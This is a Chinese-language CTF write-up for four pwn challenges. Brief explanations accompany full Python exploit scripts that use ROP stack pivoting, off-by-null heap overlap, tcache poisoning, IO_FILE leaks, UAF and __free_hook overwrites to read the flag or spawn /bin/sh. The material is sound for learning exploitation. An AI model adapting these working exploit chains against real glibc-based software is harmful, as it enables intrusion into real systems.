附件在我的 github 仓库里可以找到: ctf-writeup-collection

silent

这道题其实拿栈上残留的 dl_main 地址改末四位偏移可以找到一个 syscall + 栈迁移的 gadget,只需要爆破 1/16 的概率就行了:

#!/usr/bin/env python3
# Date: 2023-11-04 09:49:11
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port
 
from lianpwn import *
from pwncli import *
 
cli_script()
set_remote_libc("./libc-2.27.so")
 
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
 
brop_gadget = 0x40095A
pop_rsi_r15_ret = brop_gadget + 7
pop_rdi_ret = brop_gadget + 9
ret_addr = brop_gadget + 10
leave_ret = 0x0000000000400876
 
read_addr = elf.plt.read
 
fake_stack = 0x601000
 
payload = b"a" * (64) + p64(fake_stack + 0x100)
 
payload += flat(
    [
        pop_rsi_r15_ret,
        fake_stack + 0x100,
        0,
        read_addr,
        pop_rsi_r15_ret,
        fake_stack + 0x80,
        0,
        read_addr,
        pop_rsi_r15_ret,
        elf.sym.stdout,
        0,
        pop_rdi_ret,
        1,
    ]
)
payload += p64(ret_addr) * (0x10 - 9 - 4)
 
# magic_gadget: syscall; lea rsp, [rbp - 0x28]; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret
guessBIT0 = int(input("[INPUT] Guess one bit for ld: "), 16)
payload += p16(0x1116 + (guessBIT0 << 12))
s(payload)
 
payload = flat(
    [
        0,
        pop_rsi_r15_ret,
        0x601138 - 8,
        0,
        pop_rdi_ret,
        0,
        read_addr,
    ]
)
input()
s(payload)
 
input()
s(b"a")
 
libc_base = u64_ex(rn(6)) - 0x3EC760
lg("libc_base", libc_base)
assert libc_base & 0xFFF == 0
print(hex(libc_base))
pop_rsi_ret = 0x0000000000023A6A + libc_base
pop_rdx_ret = 0x0000000000130516 + libc_base
 
payload = b"/flag\x00".ljust(8, b"\x00")
payload += flat(
    [
        pop_rsi_ret,
        0,
        pop_rdi_ret,
        0x601130,
        libc_base + libc.sym.open,
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        0x601048,
        pop_rdx_ret,
        0x100,
        libc_base + libc.sym.read,
        pop_rdi_ret,
        1,
        libc_base + libc.sym.write,
    ]
)
input()
s(payload)
 
ia()

babyheap

2.38 里面我测试下来 fflush(house of apple2) 其实还是可以打的,但是 malloc_assert 被改了没法调用到 fflush(stderr) ,不过这题的限制实在太少了,一个 offbynull 构造出来 overlap,改到 tcache 结构体上面后就借助 IO_file 的 leak 方式实现了真 - 任意地址读写,那无论版本怎么更新打栈总归不会错的:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#   expBy : @eastXueLian
#   Debug : ./exp.py debug  ./pwn -t -b b+0xabcd
#   Remote: ./exp.py remote ./pwn ip:port
 
from lianpwn import *
from pwncli import *
 
cli_script()
set_remote_libc("libc.so.6")
 
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
 
def cmd(choice):
    ru(b">> \n")
    sl(i2b(choice))
 
def add(size, data=b""):
    cmd(1)
    ru(b"input your name size\n")
    sl(i2b(size))
    ru(b"input your name\n")
    if len(data) < size:
        data += b"\n"
    s(data)
 
def edit(idx, size, data):
    cmd(2)
    ru(b"input index\n")
    sl(i2b(idx))
    ru(b"input your name size\n")
    sl(i2b(size))
    ru(b"input your name\n")
    if len(data) < size:
        data += b"\n"
    s(data)
 
def show(idx):
    cmd(3)
    ru(b"input index\n")
    sl(i2b(idx))
 
def delet(idx):
    cmd(4)
    ru(b"input index\n")
    sl(i2b(idx))
 
ru(b"and this line will make the game easier\n")
heap_addr = int(ru(b"\n", drop=True), 16) & (-1 << 12)
lg_suc("heap_addr", heap_addr)
 
lg_inf("constructing overlap")
add(0x408)
add(0x4F8)
add(0x408)
add(0x408)
add(0x408)
lg_inf("off by null")
edit(
    0,
    0x408,
    flat(
        {
            0x00: [
                heap_addr + 0x2B0,
                heap_addr + 0x2B0,
            ],
            0x400: 0x410,
        },
        filler=b"\x00",
    ),
)
lg_inf("unlink")
delet(1)
lg_err("Cant leak for \\x00")
lg_inf("putting evil chunk into largebin")
add(0x478)
add(0x488)
delet(1)
add(0x500)
show(0)
libc_base = u64_ex(rn(6)) - 0x1FF110
lg("libc_base", libc_base)
 
lg_inf("Trying tcache")
add(0x408)  # 6
delet(3)
delet(6)
edit(0, 0x408, p64((heap_addr >> 12) ^ heap_addr + 0x10))
add(0x408)  # 3
add(  # 6
    0x408,
    flat(
        {
            0x78: 0x7000000000000,
            0x278: libc_base + libc.sym._IO_2_1_stdout_,
        },
        filler=b"\x00",
    ),
)
add(
    0x408,
    p64(0xFBAD1800)
    + p64(0) * 3
    + p64(libc_base + libc.sym.environ)
    + p64(libc_base + libc.sym.environ + 8) * 2
    + p64(libc_base + libc.sym._IO_2_1_stdout_ + 131)
    + p64(libc_base + libc.sym._IO_2_1_stdout_ + 132),
)
stack_base = u64_ex(rn(6)) - 0x180
lg("stack_base", stack_base)
 
def cmd(choice):
    ru(b">>")
    sl(i2b(choice))
 
def add(size, data=b""):
    cmd(1)
    ru(b"input your name size")
    sl(i2b(size))
    ru(b"input your name")
    if len(data) < size:
        data += b"\n"
    s(data)
 
def edit(idx, size, data):
    cmd(2)
    ru(b"input index")
    sl(i2b(idx))
    ru(b"input your name size")
    sl(i2b(size))
    ru(b"input your name")
    if len(data) < size:
        data += b"\n"
    s(data)
 
def show(idx):
    cmd(3)
    ru(b"input index")
    sl(i2b(idx))
 
def delet(idx):
    cmd(4)
    ru(b"input index")
    sl(i2b(idx))
 
def orb_malloc(target, data):
    edit(
        6,
        0x408,
        flat(
            {
                0x78: 0x7000000000000,
                0x278: target,
            },
            filler=b"\x00",
        ),
    )
    add(0x408, data)
 
orb_malloc(
    libc_base + libc.sym._IO_2_1_stdout_,
    p64(0xFBAD1800)
    + p64(0) * 3
    + p64(stack_base + 0x10)
    + p64(stack_base + 0x10 + 8) * 2
    + p64(libc_base + libc.sym._IO_2_1_stdout_ + 131)
    + p64(libc_base + libc.sym._IO_2_1_stdout_ + 132),
)
canary = u64_ex(rn(8))
lg("canary", canary)
 
orb_malloc(
    stack_base + 8,
    flat(
        [
            0xDEADBEEF,
            canary,
            stack_base,
            libc_base + 0x0000000000028715 + 1,
            libc_base + 0x0000000000028715,
            libc_base + next(libc.search(b"/bin/sh\x00")),
            libc_base + libc.sym.system,
        ],
        filler=b"\x00",
    ),
)
 
ia()

6502

其实是超级水题,比赛时被唬住了花了一大堆时间,其实就 lda_imm, sta_abs 来修改任意地址,adc_abs 来计算偏移量:

#!/usr/bin/env python3
# Date: 2023-11-04 17:36:50
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port
 
from lianpwn import *
from pwncli import *
 
cli_script()
set_remote_libc("libc.so.6")
 
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
 
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
 
debugB()
 
payload = b""
 
def lda_imm(arg):
    global payload
    payload += p8(0xA9) + p8(arg)
 
def ldx_imm(arg):
    global payload
    payload += p8(0xA2) + p8(arg)
 
def ldx_abs(arg):
    global payload
    payload += p8(0xAE) + p16(arg)
 
def stx_abs(arg):
    global payload
    payload += p8(0x8E) + p16(arg)
 
def sta_abs(arg):
    global payload
    payload += p8(0x8D) + p16(arg)
 
def adc_abs(arg):
    global payload
    payload += p8(0x6D) + p16(arg)
 
# DEBUG
ldx_imm(1)
stx_abs(0xFFC3)
 
lda_imm(0xB0)
adc_abs(0xDEF2)
sta_abs(0xDEF2)
 
lda_imm(0xEB - 1)
adc_abs(0xDEF2 + 1)
sta_abs(0xDEF2 + 1)
 
lda_imm(0xFD - 1)
adc_abs(0xDEF2 + 2)
sta_abs(0xDEF2 + 2)
 
ldx_abs(0xDEF2)
ldx_abs(0xDEF3)
ldx_abs(0xDEF4)
 
ru(b"give me the code length: \n")
s(i2b(len(payload)))
ru(b"give me the code: ")
s(payload)
 
s(b"/bin/sh\x00")
 
ia()

atuo_coffee_sale_machine

我们战队也好想要咖啡机,UAF + IO leak 打 tcache 搞定:

#!/usr/bin/env python3
# Date: 2023-11-04 14:05:20
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port
 
from pwncli import *
 
cli_script()
set_remote_libc("libc-2.31.so")
 
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
 
i2b = lambda c: str(c).encode()
lg = lambda s_name, s_val: print("\033[1;31;40m %s --> 0x%x \033[0m" % (s_name, s_val))
debugB = lambda: input("\033[1m\033[33m[ATTACH ME]\033[0m")
 
def cmd(choice):
    ru(b">>>")
    s(i2b(choice))
 
def sell(co_id, sth=b""):
    cmd(1)
    ru(b"input the id of what coffee you want to buy")
    s(i2b(co_id))
    ru(b"Do you want to add something?Y/N")
    if sth == b"":
        sl(b"N")
    else:
        sl(b"Y")
        ru(b"Ok,please input what you need in coffee")
        s(sth)
 
def admin():
    cmd(4421)
    ru(b"please input the admin password")
    _pass = b'lwuv"ryp"kv'
    new_pass = b""
    for i in _pass:
        new_pass += bytes([i - 2])
    sl(new_pass)
 
def repl(id):
    cmd(1)
    ru(b"input the id you want to replenish")
    cmd(id)
 
def change(id, cfe, cont):
    cmd(2)
    ru(b"input the id you want to change")
    cmd(id)
    ru(b"input which coffee you want to change")
    cmd(cfe)
    ru(b"input your content")
    s(cont)
 
admin()
 
payload = p64(0xFBAD1800) + p64(0) * 3 + p8(0)
change(1, -31, payload)
ru(b"\x00" * 8)
libc_base = u64_ex(rn(6)) - 0x1EC980
lg("libc_base", libc_base)
 
cmd(3)
sell(3)
sell(3)
sell(3)
sell(3)
sell(3)
sell(3)
 
admin()
change(3, 6, p64(libc_base + libc.sym.__free_hook))
 
cmd(3)
for i in range(5):
    sell(2)
admin()
repl(2)
repl(2)
repl(2)
change(2, 3, p64(libc_base + libc.sym.system))
change(1, 1, b"/bin/sh\x00")
cmd(3)
sell(1)
 
ia()

总结:

其实已经很久没有见到这么友善的 pwn 题了,甚至一道 kernel 也没有。

~从未如此美妙的比赛,我必须好好地珍惜这段时光~~

反转了,被 6502 的低版本库折磨,又被 2.38 的高版本给唬住,打得依托④。。。